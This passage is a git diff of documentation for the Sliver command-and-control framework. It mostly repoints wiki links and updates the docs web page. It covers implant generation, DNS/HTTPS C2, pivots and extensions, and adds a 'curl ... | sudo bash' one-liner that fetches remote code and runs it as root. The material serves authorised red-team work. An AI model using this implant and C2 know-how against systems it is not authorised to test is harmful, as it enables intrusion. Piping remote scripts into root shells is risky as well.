Loading...
;
}
return (
-
-
+
+
Sliver Docs: {name}
+
+
+
setFilterValue("")}
- placeholder="Type to filter..."
+ placeholder="Filter..."
startContent={ }
value={filterValue}
onChange={(e) => setFilterValue(e.target.value)}
+ isClearable={true}
+ onClear={() => setFilterValue("")}
/>
-
- {visibleDocs.map((doc) => (
- {
- setName(doc.name);
- setMarkdown(doc.content);
+
+
+
- {doc.name}
-
- ))}
-
+ {visibleDocs.map((doc) => (
+ {
+ router.push({
+ pathname: "/docs",
+ query: { name: doc.name },
+ });
+ }}
+ >
+ {doc.name}
+
+ ))}
+
+
+
-
-
- {name}
-
-
-
- {children} ;
- }
- return (
-
- {children}
-
- );
- },
-
- img(props) {
- const { src, alt, ...rest } = props;
- return (
- // @ts-ignore
-
- );
- },
-
- code(props) {
- const { children, className, node, ...rest } = props;
- const langTag = /language-(\w+)/.exec(className || "");
- const lang = langTag ? langTag[1] : "plaintext";
- if (lang === "plaintext") {
- return (
-
- {children}
-
- );
- }
- return (
-
- );
- },
- }}
- >
- {markdown}
-
-
-
+ {name !== "" ? (
+
+
+ {name}
+
+
+
+
+
+
+ ) : (
+
+
+
+ Welcome to the Sliver Wiki!
+
+ Please select a document
+
+
+
+
+ )}
);
diff --git a/docs/sliver-docs/pages/docs/md/Aliases and Extensions.md b/docs/sliver-docs/pages/docs/md/Aliases and Extensions.md
index 65658e6c56..b85e2f9365 100644
--- a/docs/sliver-docs/pages/docs/md/Aliases and Extensions.md
+++ b/docs/sliver-docs/pages/docs/md/Aliases and Extensions.md
@@ -1,4 +1,4 @@
-Sliver allows an operator to extend the local client console and its features by adding new commands based on third party tools. The easiest way to install an alias or extension is using the [armory](https://github.com/BishopFox/sliver/wiki/Armory).
+Sliver allows an operator to extend the local client console and its features by adding new commands based on third party tools. The easiest way to install an alias or extension is using the [armory](/docs?name=Armory).
#### Aliases Command Parsing
@@ -151,7 +151,7 @@ Sliver - 3rd Party extensions:
To write a new alias, one must either create a shared library or a .NET assembly, then write a manifest file compliant with the description above.
-As the alias support relies on Sliver side loading capabilities, please make sure to read the [Using 3rd party tools](https://github.com/BishopFox/sliver/wiki/Using-3rd-party-tools) section, to understand how shared libraries are loaded on all platforms.
+As the alias support relies on Sliver side loading capabilities, please make sure to read the [Using 3rd party tools](/docs?name=Third+Party+Tools) section, to understand how shared libraries are loaded on all platforms.
## Extensions
diff --git a/docs/sliver-docs/pages/docs/md/Anti-virus Evasion.md b/docs/sliver-docs/pages/docs/md/Anti-virus Evasion.md
index af6fb8f407..55f1c9dd6a 100644
--- a/docs/sliver-docs/pages/docs/md/Anti-virus Evasion.md
+++ b/docs/sliver-docs/pages/docs/md/Anti-virus Evasion.md
@@ -1,4 +1,4 @@
-The Sliver authors do not consider anti-virus evasion to be within the scope of the Sliver project; there is already a myriad of works in this area. That said, Sliver is designed to be interoperable with common techniques for bypassing anti-virus software such as packers, crypters, and [stagers](https://github.com/BishopFox/sliver/wiki/Stagers).
+The Sliver authors do not consider anti-virus evasion to be within the scope of the Sliver project; there is already a myriad of works in this area. That said, Sliver is designed to be interoperable with common techniques for bypassing anti-virus software such as packers, crypters, and [stagers](/docs?name=Stagers).
Here are some external resources for anti-virus evasion:
diff --git a/docs/sliver-docs/pages/docs/md/Architecture.md b/docs/sliver-docs/pages/docs/md/Architecture.md
index b749f5e93c..939d7fd301 100644
--- a/docs/sliver-docs/pages/docs/md/Architecture.md
+++ b/docs/sliver-docs/pages/docs/md/Architecture.md
@@ -26,7 +26,3 @@ There are four major components to the Sliver ecosystem:
```
By implementing all functionality over this gRPC interface, and only differing the in-memory/mTLS connection types the client code doesn't "know" if it's running in the server console or the client console. Due to this, a single command implementation will work in both the server console and over the network in multiplayer mode.
-
-## Sliver Server
-
-WIP
diff --git a/docs/sliver-docs/pages/docs/md/Armory.md b/docs/sliver-docs/pages/docs/md/Armory.md
index 376b51cb3c..9d07c74f92 100644
--- a/docs/sliver-docs/pages/docs/md/Armory.md
+++ b/docs/sliver-docs/pages/docs/md/Armory.md
@@ -2,7 +2,7 @@ The armory is the Sliver Alias and Extension package manager (introduced in Sliv
The armory downloads packages from `github.com` and `api.github.com` so you'll need an internet connection in order for the command to work. The command does support proxies (see `--help`) and after an alias or extension is installed an internet connection is not required to execute the alias/extension.
-Aliases and extensions are installed on the "sliver client"-side, and thus are not shared among operators in [multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode).
+Aliases and extensions are installed on the "sliver client"-side, and thus are not shared among operators in [multiplayer mode](/docs?name=Multi-player+Mode).
As of v1.5.14 you can also use `armory install all` to install _everything_ if you really want to.
diff --git a/docs/sliver-docs/pages/docs/md/Audit Log.md b/docs/sliver-docs/pages/docs/md/Audit Log.md
index d7038d36ba..298d88e799 100644
--- a/docs/sliver-docs/pages/docs/md/Audit Log.md
+++ b/docs/sliver-docs/pages/docs/md/Audit Log.md
@@ -1,6 +1,6 @@
Sliver keeps an audit log of every command and its arguments executed by the server (including commands executed by operators in multiplayer mode), as well as most events (such as a new session or beacon connecting to the server). The audit log's intended use is for after-action analysis; providing a detailed history of the entire engagement, including which commands were executed on which hosts when. This will include any commands executed by any operator on any session. Note some console commands only perform actions on the "client-side" and may not appear in the audit log, but will still appear in the client's command history. Additionally, interactive commands (e.g., `shell`) may not appear in the logs aside from the initial usage of the `shell` command.
-By default the audit log is located on the server at: `~/.sliver/logs/audit.json`. However, this can be changed by modifying the [`SLIVER_ROOT_DIR`](https://github.com/BishopFox/sliver/wiki/Environment-Variables#assets) environment variable.
+By default the audit log is located on the server at: `~/.sliver/logs/audit.json`. However, this can be changed by modifying the [`SLIVER_ROOT_DIR`](/docs?name=Environment-Variables#assets) environment variable.
#### Parsing Audit Logs
diff --git a/docs/sliver-docs/pages/docs/md/BOF and COFF Support.md b/docs/sliver-docs/pages/docs/md/BOF and COFF Support.md
index 4bbd20e465..abd734c0cc 100644
--- a/docs/sliver-docs/pages/docs/md/BOF and COFF Support.md
+++ b/docs/sliver-docs/pages/docs/md/BOF and COFF Support.md
@@ -2,9 +2,9 @@ Sliver v1.5 and later support the loading and execution of BOFs and COFFs, gener
### BOF Extensions
-BOF support is provided via the [COFF Loader](https://github.com/sliverarmory/COFFLoader) extension, you'll need it installed to run pretty much any BOF. However, the COFF Loader will be installed automatically if you install a BOF extension from the [armory](https://github.com/BishopFox/sliver/wiki/Armory).
+BOF support is provided via the [COFF Loader](https://github.com/sliverarmory/COFFLoader) extension, you'll need it installed to run pretty much any BOF. However, the COFF Loader will be installed automatically if you install a BOF extension from the [armory](/docs?name=Armory).
-The easiest way to install a BOF extension, for example [`nanodump`](https://github.com/sliverarmory/nanodump), is using the [armory](https://github.com/BishopFox/sliver/wiki/Armory) package manager:
+The easiest way to install a BOF extension, for example [`nanodump`](https://github.com/sliverarmory/nanodump), is using the [armory](/docs?name=Armory) package manager:
**IMPORTANT:** BOF Extensions are installed per-sliver client, they are not stored on the server. Thus extensions are not shared across operators, each operator must install the extension to use it.
@@ -114,6 +114,6 @@ Looking at the script we can see the BOF requires a single integer argument. The
Once the manifest is defined load it into your client using `extensions load`, locally loaded extensions do not need to be cryptographically signed. The paths in the manifest should be relative to the manifest file, parent directories are not allowed.
-More details can be found on the [Aliases & Extensions](https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions) page.
+More details can be found on the [Aliases & Extensions](/docs?name=Aliases+and+Extensions) page.
**IMPORTANT:** For BOF extensions to be properly detected by the Sliver client, the `path` must use the `.o` file extension.
diff --git a/docs/sliver-docs/pages/docs/md/Configuration Files.md b/docs/sliver-docs/pages/docs/md/Configuration Files.md
index 6166f4c778..8363954e70 100644
--- a/docs/sliver-docs/pages/docs/md/Configuration Files.md
+++ b/docs/sliver-docs/pages/docs/md/Configuration Files.md
@@ -1,8 +1,6 @@
-# Server Configuration
-
### General Server Configuration
-Starting in version 1.0.0 the Sliver server has a configuration file located the `configs` sub-directory of the [`SLIVER_ROOT_DIR`](https://github.com/BishopFox/sliver/wiki/Environment-Variables#assets), by default this will be `~/.sliver/configs/server.json`. If no configuration file exists, a default configuration will be generated and written to disk on startup. The default configuration is shown below:
+Starting in version 1.0.0 the Sliver server has a configuration file located the `configs` sub-directory of the [`SLIVER_ROOT_DIR`](/docs?name=Environment+Variables), by default this will be `~/.sliver/configs/server.json`. If no configuration file exists, a default configuration will be generated and written to disk on startup. The default configuration is shown below:
#### Default Server Config
@@ -23,7 +21,7 @@ Starting in version 1.0.0 the Sliver server has a configuration file located the
#### Configuration Options
-- `daemon_mode` - Enable [daemon mode](https://github.com/BishopFox/sliver/wiki/Daemon-Mode)
+- `daemon_mode` - Enable [daemon mode](/docs?name=Daemon+Mode)
- `daemon` - An object containing options related to `daemon_mode`, these values are only used when `daemon_mode` is set to `true`.
- `host` - What network interface to bind the `daemon_mode` client listener to. By default this is an empty string, which indicates binding to all interfaces.
- `port` - TCP port to bind the `deamon_mode` client listener to.
@@ -70,7 +68,7 @@ Starting in version v1.1.0 Sliver supports SQL database configurations, by defau
### Operator
-Client configurations must be generated by the server (they contain per-user key pairs). For more details see [multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode), and example configuration is shown below. Client configuration files can be copied into `~/.sliver-client/configs/`:
+Client configurations must be generated by the server (they contain per-user key pairs). For more details see [multiplayer mode](/docs?name=Multi-player+Mode), and example configuration is shown below. Client configuration files can be copied into `~/.sliver-client/configs/`:
```json
{
diff --git a/docs/sliver-docs/pages/docs/md/Cross-compiling Implants.md b/docs/sliver-docs/pages/docs/md/Cross-compiling Implants.md
index 06fbbacff5..e16ab860bf 100644
--- a/docs/sliver-docs/pages/docs/md/Cross-compiling Implants.md
+++ b/docs/sliver-docs/pages/docs/md/Cross-compiling Implants.md
@@ -2,7 +2,7 @@
Sliver can tell you which platforms it can likely target based on the server's platform and available cross-compilers by running the `generate info` command in the console.
-Sliver v1.5.30 and later also support [External Builders](https://github.com/BishopFox/sliver/wiki/External-Builders), which can be used to easily cross-compile implants.
+Sliver v1.5.30 and later also support [External Builders](/docs?name=External+Builders), which can be used to easily cross-compile implants.
## From Linux to MacOS/Windows
@@ -12,13 +12,13 @@ To compile Windows shared library and shellcode implants from Linux, install min
sudo apt install mingw-w64
```
-To compile MacOS shared library implants from Linux, we recommend using https://github.com/tpoechtrager/osxcross by default Sliver will look in `/opt/osxcross` but you can override this via [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables). If you do not have a MacOS based machine you can use GitHub Actions' MacOS instances to build OSXCross.
+To compile MacOS shared library implants from Linux, we recommend using https://github.com/tpoechtrager/osxcross by default Sliver will look in `/opt/osxcross` but you can override this via [environment variables](/docs?name=Environment+Variables). If you do not have a MacOS based machine you can use GitHub Actions' MacOS instances to build OSXCross.
**NOTE:** Sliver expects the root of the osxcross git repo to be located at `/opt/osxcross` and the actual binaries in `/opt/osxcross/target/bin`.
An example deployment is shown below, you have to procure the `MacOSX11.1.sdk.tar.xz` yourself due to license restrictions (see the OSXCross GitHub for more details):
-```
+```shell
sudo apt-get install -y git curl libssl-dev cmake liblzma-dev libxml2-dev patch clang zlib1g-dev
git clone https://github.com/tpoechtrager/osxcross.git /opt/osxcross
curl -o /opt/osxcross/tarballs/MacOSX11.1.sdk.tar.xz 'https://example.com/MacOSX11.1.sdk.tar.xz'
@@ -26,25 +26,31 @@ cd /opt/osxcross
UNATTENDED=1 ./build.sh
```
-Sliver automatically looks in the default paths for these cross compilers, once installed simply use the `generate` command with the desired `--os` and `--arch`, check `~/.sliver/logs/sliver.log` for build errors. You can override any cross compiler location via the appropriate [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables).
+Sliver automatically looks in the default paths for these cross compilers, once installed simply use the `generate` command with the desired `--os` and `--arch`, check `~/.sliver/logs/sliver.log` for build errors. You can override any cross compiler location via the appropriate [environment variables](/docs?name=Environment+Variables).
## From MacOS to Linux/Windows
To compile Windows shared library and shellcode implants from MacOS install mingw from brew:
-```
+````
+
brew install mingw-w64
+
```
For Linux, we recommend `musl-cross` to target 64-bit Linux, which can be installed via brew:
```
+
brew install FiloSottile/musl-cross/musl-cross
brew install mingw-w64
+
```
-I'm not aware of any good options to target 32-bit Linux from MacOS. Sliver automatically looks in the default paths for these cross compilers, once installed simply use the `generate` command with the desired `--os` and `--arch`, check `~/.sliver/logs/sliver.log` for build errors. You can override any cross compiler location via the appropriate [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables).
+I'm not aware of any good options to target 32-bit Linux from MacOS. Sliver automatically looks in the default paths for these cross compilers, once installed simply use the `generate` command with the desired `--os` and `--arch`, check `~/.sliver/logs/sliver.log` for build errors. You can override any cross compiler location via the appropriate [environment variables](/docs?name=Environment+Variables).
## From Windows to MacOS/Linux
Good luck.
+```
+````
diff --git a/docs/sliver-docs/pages/docs/md/Cursed.md b/docs/sliver-docs/pages/docs/md/Cursed.md
index 0f1b27be94..29ee6ff676 100644
--- a/docs/sliver-docs/pages/docs/md/Cursed.md
+++ b/docs/sliver-docs/pages/docs/md/Cursed.md
@@ -26,7 +26,7 @@ The `cursed electron` command can be used to restart an Electron application wit
## Cursed Console
-The `cursed console` command can be used to start an interactive REPL with any cursed process. You will need to start a cursed process using `cursed chrome`, `cursed edge`, or `cursed electron` before using `cursed console`. You can list cursed processes using the `cursed` command. ![cursed](https://user-images.githubusercontent.com/875022/188246398-97e5c7dd-1c21-4aeb-a57e-222fda826e66.png)
+The `cursed console` command can be used to start an interactive REPL with any cursed process. You will need to start a cursed process using `cursed chrome`, `cursed edge`, or `cursed electron` before using `cursed console`. You can list cursed processes using the `cursed` command. ![cursed](/images/cursed-1.png)
## Cursed Cookies
diff --git a/docs/sliver-docs/pages/docs/md/DNS C2.md b/docs/sliver-docs/pages/docs/md/DNS C2.md
index d24eb10dc9..f98e5c529c 100644
--- a/docs/sliver-docs/pages/docs/md/DNS C2.md
+++ b/docs/sliver-docs/pages/docs/md/DNS C2.md
@@ -12,7 +12,7 @@ Use the following steps to configure a domain for DNS C2 (and DNS Canaries), you
**IMPORTANT:** Always use the FQDN when issuing DNS commands in the Sliver console (e.g., `1.example.com.` note the trailing `.`). DNS is a finicky protocol!
The final configuration should look like for the domain `lil-peep.rip`:
-![DNS Configuration](https://i.imgur.com/hpOnGJp.png)
+![DNS Configuration](/images/dns-c2-1.png)
**IMPORTANT:** Remember to disable Cloudflare's "cloud" when configuring these records, and to adjust the TTLs.
@@ -59,7 +59,7 @@ nameserver 8.8.8.8
# Under the Hood
-**NOTE:** This describes the v1.5+ implementation of DNS C2. Also, I'm not going to cover the cryptographic key exchange, which you can read about [here](https://github.com/BishopFox/sliver/wiki/Transport-Encryption), this is just about how do we move bytes back and forth.
+**NOTE:** This describes the v1.5+ implementation of DNS C2. Also, I'm not going to cover the cryptographic key exchange, which you can read about [here](/docs?name=Transport+Encryption), this is just about how do we move bytes back and forth.
### Design Goals
diff --git a/docs/sliver-docs/pages/docs/md/Daemon Mode.md b/docs/sliver-docs/pages/docs/md/Daemon Mode.md
index 0ad304b4af..fab800c6da 100644
--- a/docs/sliver-docs/pages/docs/md/Daemon Mode.md
+++ b/docs/sliver-docs/pages/docs/md/Daemon Mode.md
@@ -1,4 +1,4 @@
-Starting in v1.0.0 Sliver supports running in "daemon mode," which automatically starts a client listener (but not an interactive console). In order to connect to a server running in daemon mode you'll need to use [multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode).
+Starting in v1.0.0 Sliver supports running in "daemon mode," which automatically starts a client listener (but not an interactive console). In order to connect to a server running in daemon mode you'll need to use [multiplayer mode](/docs?name=Multi-player+Mode).
There are two ways to start the server in daemon mode:
@@ -25,4 +25,4 @@ $ cat ~/.sliver/configs/server.json
#### systemd
-With this config you can easily setup a [systemd service](https://www.linode.com/docs/quick-answers/linux/start-service-at-boot/) or init script. See the [Linux install script](https://github.com/BishopFox/sliver/wiki/Linux-Install-Script) for an example.
+With this config you can easily setup a [systemd service](https://www.linode.com/docs/quick-answers/linux/start-service-at-boot/) or init script. See the [Linux install script](/docs?name=Linux+Install+Script) for an example.
diff --git a/docs/sliver-docs/pages/docs/md/External Builders.md b/docs/sliver-docs/pages/docs/md/External Builders.md
index d455d92cc3..412b964133 100644
--- a/docs/sliver-docs/pages/docs/md/External Builders.md
+++ b/docs/sliver-docs/pages/docs/md/External Builders.md
@@ -24,7 +24,7 @@ External builders can also be used to create custom modifications to the implant
#### Setup
-Any `sliver-server` binary can be started as a builder process using [operator configuration files from multiplayer-mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode) from the server you want to connect the builder to, for example:
+Any `sliver-server` binary can be started as a builder process using [operator configuration files from multiplayer-mode](/docs?name=Multi-player+Mode) from the server you want to connect the builder to, for example:
```
./sliver-server builder -c operator-multiplayer.cfg
@@ -86,7 +86,7 @@ You are welcome to customize the implant source code under the terms of Sliver's
1. Fork the main Sliver Github repository
1. Make modifications to the source code
-1. [Compile a Sliver server binary](https://github.com/BishopFox/sliver/wiki/Compile-From-Source)
+1. [Compile a Sliver server binary](/docs?name=Compile+from+Source)
1. Connect the customized Sliver server binary to any other C2 server (including mainline servers) as an external builder
1. Operators can generate the customized implant builds via the `generate --external-builder` flag
1. Avoid making any changes to `/server` to make merging upstream easier if changes are introduced to the builder APIs
diff --git a/docs/sliver-docs/pages/docs/md/Getting Started.md b/docs/sliver-docs/pages/docs/md/Getting Started.md
index 9827cb8b45..062ab5e798 100644
--- a/docs/sliver-docs/pages/docs/md/Getting Started.md
+++ b/docs/sliver-docs/pages/docs/md/Getting Started.md
@@ -1,20 +1,28 @@
-**⚠️ NOTE:** This guide is intended for experienced red teamers, but we also have a [Beginner's Guide](https://github.com/BishopFox/sliver/wiki/Beginner's-Guide) for a more beginner friendly tutorial.
-
-## Server Setup
-
Download the latest server [release](https://github.com/BishopFox/sliver/releases) for your platform, and just run the binary. That's it, you're pretty much done.
-Sliver is designed for a one server deployment per-operation. The server supports Linux, Windows, and MacOS however we strongly recommend running the server on a Linux host (or MacOS, well really anything that isn't Windows), as some features may be more difficult to get working on a Windows server. The Windows client should work just fine when accessing a Linux/MacOS server from Windows, if for some odd reason your operators want to actually use Windows you'll just need to setup [multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode).
+Sliver is designed for a one server deployment per-operation. The server supports Linux, Windows, and MacOS however we strongly recommend running the server on a Linux host (or MacOS, well really anything that isn't Windows), as some features may be more difficult to get working on a Windows server. The Windows client should work just fine when accessing a Linux/MacOS server from Windows, so if for some odd reason your operators actually want to use Windows you can still accommodate them using [multiplayer mode](/docs?name=Multi-player+Mode).
Obfuscated builds require `git` to be installed. Additionally, Sliver has two external dependencies for _optional_ features: MinGW and Metasploit. To enable DLL payloads (on a Linux server) you need to install MinGW. To enable some MSF integrations you'll need Metasploit installed on the server.
+For a Linux server, you can also use the one liner installation `curl https://sliver.sh/install|sudo bash`
+
+```asciinema
+{"src": "/asciinema/install-1.cast", "cols": "132"}
+```
+
+If you install Sliver via the one liner, you can check that the server service is running using `systemctl status sliver`. Note that the Sliver service is not configured to start automatically on boot by default (i.e., if you reboot the server you'll need to start the service again using `systemctrl start sliver`):
+
+```asciinema
+{"src": "/asciinema/service-status-1.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
+```
+
#### System Requirements
-The Sliver server can run effectively on almost any system, however we recommend 8GB or more of RAM for compiling obfuscated implants as the obfuscator may consume large amounts of memory depending on compile-time options. You can leverage [external builders](https://github.com/BishopFox/sliver/wiki/External-Builders) in conjunction with low resource systems to work around hardware limitations of the server (e.g. a low powered VPS). Symbol obfuscation can also be disabled per-build, see `generate --help` in the Sliver console.
+The Sliver server can run effectively on almost any system, however we recommend 8GB or more of RAM for compiling obfuscated implants as the obfuscator may consume large amounts of memory depending on compile-time options. You can leverage [external builders](/docs?name=External+Builders) in conjunction with low resource systems to work around hardware limitations of the server (e.g. a low powered VPS). Symbol obfuscation can also be disabled per-build, see `generate --help` in the Sliver console.
### MinGW Setup (Optional, Recommended)
-In order to enable shellcode/staged/DLL payloads you'll need to install MinGW on the server (clients connecting to the server do not need it installed). By default Sliver will look in the usual places for MinGW binaries but you can override this using the [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables).
+In order to enable shellcode/staged/DLL payloads you'll need to install MinGW on the server (clients connecting to the server do not need it installed). By default Sliver will look in the usual places for MinGW binaries but you can override this using the [environment variables](/docs?name=Environment+Variables).
#### Linux (Debian-based)
@@ -28,9 +36,9 @@ apt install git mingw-w64
brew install git mingw-w64
```
-**Note:** On MacOS you may need to configure [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables) for MinGW.
+**Note:** On MacOS you may need to configure [environment variables](/docs?name=Environment+Variables) for MinGW.
-See [cross-compiling implants](https://github.com/BishopFox/sliver/wiki/Cross-Compiling-Implants) for more details.
+See [cross-compiling implants](/docs?name=Cross-compiling+Implants) for more details.
### Metasploit Setup (Optional)
@@ -38,7 +46,7 @@ We strongly recommend using the [nightly framework installers](https://github.co
## Implants: Beacon vs. Session
-Sliver is generally designed as a stage 2 payload, and as such we've not yet endeavored to minimize the implant's file size. Depending on how many protocols you enable in your implant the file can get large, we strongly advise the use of [stagers](https://github.com/BishopFox/sliver/wiki/Stagers) for actual operations (at least in contexts where one may be concerned about file size). Such is the tradeoff for getting easy static compilation in Golang.
+Sliver is generally designed as a stage 2 payload, and as such we've not yet endeavored to minimize the implant's file size. Depending on how many protocols you enable in your implant the file can get large, we strongly advise the use of [stagers](/docs?name=Stagers) for actual operations (at least in contexts where one may be concerned about file size). Such is the tradeoff for getting easy static compilation in Golang.
Sliver implants in v1.5 and later support two modes of operation: "beacon mode" and "session mode." Beacon mode implements an asynchronous communication style where the implant periodically checks in with the server retrieves tasks, executes them, and returns the results. In "session mode" the implant will create an interactive real time session using either a persistent connection or using long polling depending on the underlying C2 protocol.
@@ -52,23 +60,14 @@ Generating implants is done using the `generate` command, you must specify at le
#### Session Mode
-```
-[server] sliver > generate --mtls example.com --save /Users/moloch/Desktop
-
-[*] Generating new windows/amd64 Sliver binary
-[*] Build completed in 00:00:16
-[*] Sliver binary saved to: /Users/moloch/Desktop/NEW_GRAPE.exe
+```asciinema
+{"src": "/asciinema/sliver-generate-1.cast", "cols": "132"}
```
#### Beacon Mode
-```
-[server] sliver > generate beacon --mtls example.com --save /Users/moloch/Desktop
-
-[*] Generating new windows/amd64 beacon implant binary (1m0s)
-[*] Symbol obfuscation is enabled
-[*] Build completed in 00:00:27
-[*] Implant saved to /Users/moloch/Desktop/FINE_SENTENCE.exe
+```asciinema
+{"src": "/asciinema/sliver-generate-2.cast", "cols": "132"}
```
Sliver implants are cross-platform, you can change the compiler target with the `--os` flag. Sliver accepts any Golang GOOS and GOARCH as arguments `--os` and `--arch`, we officially only support Windows, MacOS, and Linux, but you can at least attempt to compile for any other [valid Golang GOOS/GOARCH](https://gist.github.com/asukakenji/f15ba7e588ac42795f421b48b8aede63) combination. The `generate info` command will also estimate what compiler targets can be used based on the server's host operating system and available cross-compilers.
@@ -111,8 +110,8 @@ sliver > regenerate --save /Users/moloch/Desktop NEW_GRAPE
For addition details about each C2 please see:
-- [HTTP(S) C2](
)
-- [DNS C2](https://github.com/BishopFox/sliver/wiki/DNS-C2)
+- [HTTP(S) C2](/docs?name=HTTPS+C2)
+- [DNS C2](/docs?name=DNS+C2)
## Getting Shells
@@ -153,7 +152,7 @@ sliver (LONG_DRAMATURGE) > ls
LONG_DRAMATURGE 6.3 MiB
```
-If you're having problems getting callbacks please see our [troubleshooting guide](https://github.com/BishopFox/sliver/wiki/Troubleshooting#implant-troubleshooting), (TL;DR add the `--debug` flag when generating an implant).
+If you're having problems getting callbacks please see our [troubleshooting guide](/docs?name=Troubleshooting), (TL;DR add the `--debug` flag when generating an implant).
### Interacting with Beacons
@@ -244,9 +243,9 @@ sliver > generate --mtls foo.com,bar.com,baz.com --strategy r
Most commands have a `--help` and support tab complete, you may also find the following wiki articles of interest:
-- [Armory](https://sliver.sh/docs#name=Armory)
-- [Stagers](https://sliver.sh/docs#name=Stagers)
-- [Community Guides](https://sliver.sh/docs#name=Community%20Guides)
-- [Port Forwarding](https://sliver.sh/docs#name=Port%20Forwarding)
-- [Reverse SOCKS](https://sliver.sh/docs#name=Reverse%20SOCKS)
-- [BOF/COFF Support](https://sliver.sh/docs#name=BOF%20and%20COFF%20Support)
+- [Armory](/docs?name=Armory)
+- [Stagers](/docs?name=Stagers)
+- [Community Guides](/docs?name=Community%20Guides)
+- [Port Forwarding](/docs?name=Port%20Forwarding)
+- [Reverse SOCKS](/docs?name=Reverse%20SOCKS)
+- [BOF/COFF Support](/docs?name=BOF%20and%20COFF%20Support)
diff --git a/docs/sliver-docs/pages/docs/md/HTTPS C2.md b/docs/sliver-docs/pages/docs/md/HTTPS C2.md
index 187d7ca9bd..d4d592a1da 100644
--- a/docs/sliver-docs/pages/docs/md/HTTPS C2.md
+++ b/docs/sliver-docs/pages/docs/md/HTTPS C2.md
@@ -67,7 +67,7 @@ The priority of retrieval is the following:
#### NTLM/Kerberos Proxy Authentication
-You can use [advanced options](https://github.com/BishopFox/sliver/wiki/C2-Advanced-Options) to enable the use of the `wininet` HTTP library, which supports NTLM/Kerberos authentication (Windows only). Using this library tends to be a little less stable (we have to covert Go calls to native DLL calls) and is generally more susceptible to introspection by security products as these functions are well-known and easy to hook. However, if you need NTLM/Kerberos authentication you don't have much of a choice.
+You can use [advanced options](/docs?name=C2-Advanced-Options) to enable the use of the `wininet` HTTP library, which supports NTLM/Kerberos authentication (Windows only). Using this library tends to be a little less stable (we have to covert Go calls to native DLL calls) and is generally more susceptible to introspection by security products as these functions are well-known and easy to hook. However, if you need NTLM/Kerberos authentication you don't have much of a choice.
## Start the Listener
@@ -109,7 +109,7 @@ By default when using the `https` listener Sliver will simply generate a random
sliver > https --domain example.com --lets-encrypt
```
-This uses Let's Encrypt/ACME HTTP validation, so the server will need the ability to start a public listener and you'll need to have the DNS for your `--domain` pointed to the Sliver server. If you're having issues pulling a certificate be sure to [check the logs](https://github.com/BishopFox/sliver/wiki/Troubleshooting).
+This uses Let's Encrypt/ACME HTTP validation, so the server will need the ability to start a public listener and you'll need to have the DNS for your `--domain` pointed to the Sliver server. If you're having issues pulling a certificate be sure to [check the logs](/docs?name=Troubleshooting).
You can also upload your own SSL/TLS certificate/key pairs:
@@ -166,7 +166,7 @@ This section covers the "under the hood" implementation details of Sliver's HTTP
The primary goals of the existing HTTP C2 design are to:
- **Reliable Connections** The implants foremost goal is to get a connection out of the network, regardless of the environment's configuration.
-- **Data Security** I won't cover this here, but [click here](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) for details.
+- **Data Security** I won't cover this here, but [click here](/docs?name=Transport+Encryption) for details.
- **Network Layer Evasion** C2 messages should be hard to detect from the network layer, this is done via "Procedural C2" as detailed below.
### Procedural HTTP C2
@@ -179,7 +179,7 @@ Each implant is also only embedded with a randomly generated subset of the serve
The high level process to generate and send a standard session request is (note: this is all after the key exchange, which I'm skipping for now):
-1. Randomly generate the request path using built-in path segments. The path will have one of the following extensions, which indicate the type of request. This is distinct from a _message type_, the message type (i.e., the type of command) is in the encrypted so it cannot be determined without the [session key](https://github.com/BishopFox/sliver/wiki/Transport-Encryption). Everything in the path except for the extension is ignored by the server.
+1. Randomly generate the request path using built-in path segments. The path will have one of the following extensions, which indicate the type of request. This is distinct from a _message type_, the message type (i.e., the type of command) is in the encrypted so it cannot be determined without the [session key](/docs?name=Transport+Encryption). Everything in the path except for the extension is ignored by the server.
In the default configuration:
diff --git a/docs/sliver-docs/pages/docs/md/Multi-player Mode.md b/docs/sliver-docs/pages/docs/md/Multi-player Mode.md
index fb997bc99b..87dc9bca0b 100644
--- a/docs/sliver-docs/pages/docs/md/Multi-player Mode.md
+++ b/docs/sliver-docs/pages/docs/md/Multi-player Mode.md
@@ -1,4 +1,4 @@
-Multiplayer-mode allows multiple operators (players) to connect to the same Sliver server and collaborate on engagements. The easiest way to setup a server for multiplayer is to use the [Linux install script](https://github.com/BishopFox/sliver/wiki/Linux-Install-Script) which will configure the server as a systemd service. However, any Sliver server binary supports multiplayer mode.
+Multiplayer-mode allows multiple operators (players) to connect to the same Sliver server and collaborate on engagements. The easiest way to setup a server for multiplayer is to use the [Linux install script](/docs?name=Linux+Install+Script) which will configure the server as a systemd service. However, any Sliver server binary supports multiplayer mode.
```
┌──────────────────┐ C2
diff --git a/docs/sliver-docs/pages/docs/md/Pivots.md b/docs/sliver-docs/pages/docs/md/Pivots.md
index 1e299ee84f..f8353fb29e 100644
--- a/docs/sliver-docs/pages/docs/md/Pivots.md
+++ b/docs/sliver-docs/pages/docs/md/Pivots.md
@@ -6,7 +6,7 @@ Pivots allow you to create "chains" of implant connections, for example if you'r
In Sliver you use an existing session to create a "pivot listener" and then generate new pivots that can connect back to that listener, just as you would with other C2 protocols/endpoints.
-Pivots perform an [authenticated peer-to-peer cryptographic key exchange](https://github.com/BishopFox/sliver/wiki/Transport-Encryption#implant-to-implant-key-exchange-pivots) regardless of the underlying pivot protocol, therefore pivots can only communicate with other implants generated by the same server; this restriction cannot be disabled.
+Pivots perform an [authenticated peer-to-peer cryptographic key exchange](/docs?name=Transport+Encryption) regardless of the underlying pivot protocol, therefore pivots can only communicate with other implants generated by the same server; this restriction cannot be disabled.
## TCP Pivots
diff --git a/docs/sliver-docs/pages/docs/md/Stagers.md b/docs/sliver-docs/pages/docs/md/Stagers.md
index ee2cc360bc..0cc064c634 100644
--- a/docs/sliver-docs/pages/docs/md/Stagers.md
+++ b/docs/sliver-docs/pages/docs/md/Stagers.md
